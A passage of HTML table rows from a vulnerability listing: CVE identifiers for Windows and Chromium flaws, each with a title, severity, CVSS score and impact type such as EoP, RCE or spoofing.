  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
